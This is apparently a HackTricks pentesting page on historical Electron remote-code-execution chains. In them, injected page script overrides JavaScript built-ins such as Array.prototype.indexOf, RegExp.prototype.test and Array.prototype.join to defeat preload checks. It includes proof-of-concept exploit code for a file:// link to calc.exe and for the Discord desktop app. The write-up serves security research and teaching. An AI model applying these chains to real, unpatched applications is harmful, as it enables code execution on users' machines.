electron-contextisolation-rce-via-preload-code.md (5450B)
1 --- 2 title: "Electron contextIsolation RCE via preload code" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Electron contextIsolation RCE via preload code 14 15 These are **historical chains** in which preload code shared JavaScript intrinsics or privileged APIs with attacker-controlled renderer content. With context isolation enabled, preload and page normally have separate JavaScript realms, so prototype overrides in the page do not automatically affect preload objects. Validate the chain against the exact Electron/application version and bridge implementation.<sup>[[3]](#references)</sup> 16 17 ## Example 1 18 19 Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)<sup>[[1]](#references)</sup> 20 21 This code open http(s) links with default browser: 22 23  24 25 In the affected historical application, a local-file navigation such as `file:///C:/Windows/System32/calc.exe` could reach an OS launch path; `SAFE_PROTOCOLS.indexOf` was intended to prevent it. 26 27 Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation: 28 29 ```html 30 <script> 31 Array.prototype.indexOf = function () { 32 return 1337 33 } 34 </script> 35 ``` 36 37 As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit: 38 39 ```html 40 <script> 41 Array.prototype.indexOf = function () { 42 return 1337 43 } 44 </script> 45 <a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a> 46 ``` 47 48 Check the original slides for other ways to execute programs without having a prompt asking for permissions.<sup>[[1]](#references)</sup> 49 50 The historical Discord chain also considered UNC-style `file://127.0.0.1/electron/rce.jar` loading as another potential execution path; validate reachability on the exact Windows/Electron build.<sup>[[2]](#references)</sup> 51 52 ## Example 2: Discord App RCE 53 54 Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)<sup>[[2]](#references)</sup> 55 56 When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\ 57 Here, I couldn't use modules that can be used for RCE directly, such as _child_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module. 58 59 The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**. 60 61 ```javascript 62 RegExp.prototype.test = function () { 63 return false 64 } 65 Array.prototype.join = function () { 66 return "calc" 67 } 68 DiscordNative.nativeModules 69 .requireModule("discord_utils") 70 .getGPUDriverVersions() 71 ``` 72 73 The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following: 74 75 ```javascript 76 module.exports.getGPUDriverVersions = async () => { 77 if (process.platform !== "win32") { 78 return {} 79 } 80 81 const result = {} 82 const nvidiaSmiPath = `${process.env["ProgramW6432"]}/NVIDIA Corporation/NVSMI/nvidia-smi.exe` 83 84 try { 85 result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])) 86 } catch (e) { 87 result.nvidia = { error: e.toString() } 88 } 89 90 return result 91 } 92 ``` 93 94 Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the _execa**_**'s internal processing**. 95 96 Specifically, the argument is replaced by influencing the command-resolution and argument-processing paths in the historical `cross-spawn` parser.<sup>[[4]](#references)</sup> 97 98 ## References 99 100 - [1] [Electron: Abusing the lack of context isolation - CureCon (en)](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) 101 - [2] [Discord Desktop app RCE](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) 102 - [3] [Electron — Context isolation](https://www.electronjs.org/docs/latest/tutorial/context-isolation) 103 - [4] [`node-cross-spawn` parser revision and exact paths used by the chain (lines 36–55)](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36-L55)